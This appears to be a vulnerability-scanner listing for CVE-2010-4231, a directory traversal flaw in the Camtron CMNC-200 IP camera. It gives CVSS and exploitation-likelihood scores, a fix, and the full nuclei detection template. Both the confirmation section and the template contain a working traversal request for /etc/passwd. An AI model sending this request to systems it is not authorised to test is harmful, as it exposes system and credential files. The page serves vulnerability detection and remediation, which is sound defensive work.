Camtron CMNC-200 IP Camera - Directory Traversal

highseverity

7.8CVSS score

18.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

The CMNC-200 IP Camera has a built-in web server that is vulnerable to directory transversal attacks, allowing access to any file on the camera file system.

Impact

An attacker can exploit this vulnerability to access sensitive files and directories on the camera.

Fix

Upgrade to a supported product version.

How to confirm it

Send: GET {{BaseURL}}/../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-4231 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-4231

info:
  name: Camtron CMNC-200 IP Camera - Directory Traversal
  author: daffainfo
  severity: high
  description: The CMNC-200 IP Camera has a built-in web server that is vulnerable to directory transversal attacks, allowing access to any file on the camera file system.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files and directories on the camera.
  remediation: Upgrade to a supported product version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2010-4231
    - https://www.exploit-db.com/exploits/15505
    - https://www.trustwave.com/spiderlabs/advisories/TWSL2010-006.txt
    - http://www.exploit-db.com/exploits/15505/
    - https://github.com/K3ysTr0K3R/CVE-2010-4231-EXPLOIT
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2010-4231
    cwe-id: CWE-22
    epss-score: 0.18943
    epss-percentile: 0.97323
    cpe: cpe:2.3:a:camtron:cmnc-200_firmware:1.102a-008:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: camtron
    product: cmnc-200_firmware
  tags: cve,cve2010,iot,lfi,camera,edb,camtron,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from